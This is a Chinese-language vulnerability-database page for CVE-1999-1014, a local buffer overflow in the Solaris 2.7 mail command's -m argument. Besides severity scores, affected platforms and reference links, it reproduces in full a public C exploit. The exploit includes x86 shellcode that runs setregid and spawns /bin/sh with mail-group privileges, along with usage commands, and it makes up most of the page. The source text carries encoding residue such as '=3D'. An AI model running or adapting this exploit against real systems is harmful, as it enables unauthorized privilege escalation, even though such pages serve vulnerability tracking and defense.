CVE-1999-1014
CVSS4.6
发布时间 :1999-09-13 00:00:00
修订时间 :2016-10-17 22:00:11
NMCOE    

[原文]Buffer overflow in mail command in Solaris 2.7 and 2.7 allows local users to gain privileges via a long -m argument.


[CNNVD]Solaris mail命令缓冲区溢出漏洞(CNNVD-199909-028)

        Solaris 2.7和2.7版本的mail命令存在缓冲区溢出漏洞。本地用户可以通过一个长-m参数获得权限。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:solaris:7.0
cpe:/o:sun:solaris:2.7
cpe:/o:sun:solaris:7.0::x86

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1014
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1014
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199909-028
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=93727925026476&w=2
(UNKNOWN)  BUGTRAQ  19990913 Solaris 2.7 /usr/bin/mail
http://marc.info/?l=bugtraq&m=93846422810162&w=2
(UNKNOWN)  BUGTRAQ  19990927 Working Solaris x86 /usr/bin/mail exploit
http://www.securityfocus.com/bid/672
(VENDOR_ADVISORY)  BID  672
http://xforce.iss.net/static/3297.php
(VENDOR_ADVISORY)  XF  sun-usrbinmail-local-bo(3297)

- 漏洞信息

Solaris mail命令缓冲区溢出漏洞
中危 缓冲区溢出
1999-09-13 00:00:00 2005-05-02 00:00:00
本地  
        Solaris 2.7和2.7版本的mail命令存在缓冲区溢出漏洞。本地用户可以通过一个长-m参数获得权限。

- 公告与补丁

        

- 漏洞信息 (19529)

Solaris 7.0 /usr/bin/mail -m Local Buffer Overflow Vulnerability (EDBID:19529)
solaris local
1999-09-12 Verified
0 Brock Tellier
N/A [点击下载]
source: http://www.securityfocus.com/bid/672/info

A buffer overflow vulnerability in the '/usr/bin/mail' program's handling of the '-m' command line argument allows local users to obtain access to the 'mail' group. 

/*
 * Generic Solaris x86 exploit program by Brock Tellier
 * For use against any x86 sgid binary
 * Shellcode by Cheez Whiz (fixes problem with shells dropping egid if it=

doesn't match your real gid)
 * Will set gid=3D6(mail)
 *
 * gcc -o mailex solx86gid.c
 * /usr/bin/mail -m `./mailex 0 1975 2285` foo
   . <period, enter>
   $ =

  =

 * Usage: ./mailex <offset> <NOPS> <BUFSIZE>
 * =

 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUF 10000
#define NOP 0x90


char shell[] =3D
/*  0 */ "\xeb\x45"                         /* jmp springboard       */
/* syscall:                                                          */
/*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
/*  9 */ "\xc3"                             /* ret                   */
/* start:                                                            */
/* 10 */ "\x5e"                             /* popl %esi             */
/* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 13 */ "\x89\x46\xb7"                     /* movl %eax,-0x49(%esi) */
/* 16 */ "\x88\x46\xbc"                     /* movb %al,-0x44(%esi)  */
/* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
/* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
/* setregid:                                                         */
/* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 27 */ "\xb0\x2f"                         /* movb $0x2f,%al        */
/* 29 */ "\xe8\xe0\xff\xff\xff"             /* call syscall          */
/* 34 */ "\x52"                             /* pushl %edx            */
/* 35 */ "\x52"                             /* pushl %edx            */
/* 36 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 38 */ "\xb0\xcb"                         /* movb $0xcb,%al        */
/* 40 */ "\xe8\xd5\xff\xff\xff"             /* call syscall          */
/* 45 */ "\x83\xc4\x08"                     /* addl $0x4,%esp        */
/* execve:                                                           */
/* 48 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 50 */ "\x50"                             /* pushl %eax            */
/* 51 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
/* 54 */ "\x53"                             /* pushl %ebx            */
/* 55 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
/* 57 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
/* 60 */ "\x53"                             /* pushl %ebx            */
/* 61 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
/* 63 */ "\xe8\xbe\xff\xff\xff"             /* call syscall          */
/* 68 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
/* springboard:                                                      */
/* 71 */ "\xe8\xbe\xff\xff\xff"             /* call start            */
/* data:                                                             */
/* 76 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
/* 84 */ "\xff\xff\xff\xff"                 /* DATA                  */
/* 88 */ "\xff\xff\xff\xff";                /* DATA                  */

unsigned long int nop;
unsigned long int esp;
long int offset;

char buf[BUF];

unsigned long int get_esp()
{
    __asm__("movl %esp,%eax");
}

void
main (int argc, char *argv[])
{
    int buflen, i;
       =


    if (argc > 1)
        offset =3D strtol(argv[1], NULL, 0);

    if (argc > 2)
        nop =3D strtoul(argv[2], NULL, 0);
    else
        nop =3D 285;

    if (argc > 3)
        buflen=3Datoi(argv[3]);
    else =

        buflen=3DBUF;
    =

    esp =3D get_esp();


    memset(buf, NOP, buflen);
    memcpy(buf+nop, shell, strlen(shell));
    for (i =3D nop+strlen(shell); i < buflen-4; i +=3D 4)
        *((int *) &buf[i]) =3D esp+offset;

    for (i =3D 0; i < strlen(buf); i++) putchar(buf[i]);

    return;
}

		

- 漏洞信息

1088
Solaris /usr/bin/mail -m Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public Third-party Verified, Uncoordinated Disclosure

- 漏洞描述

- 时间线

1999-09-12 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站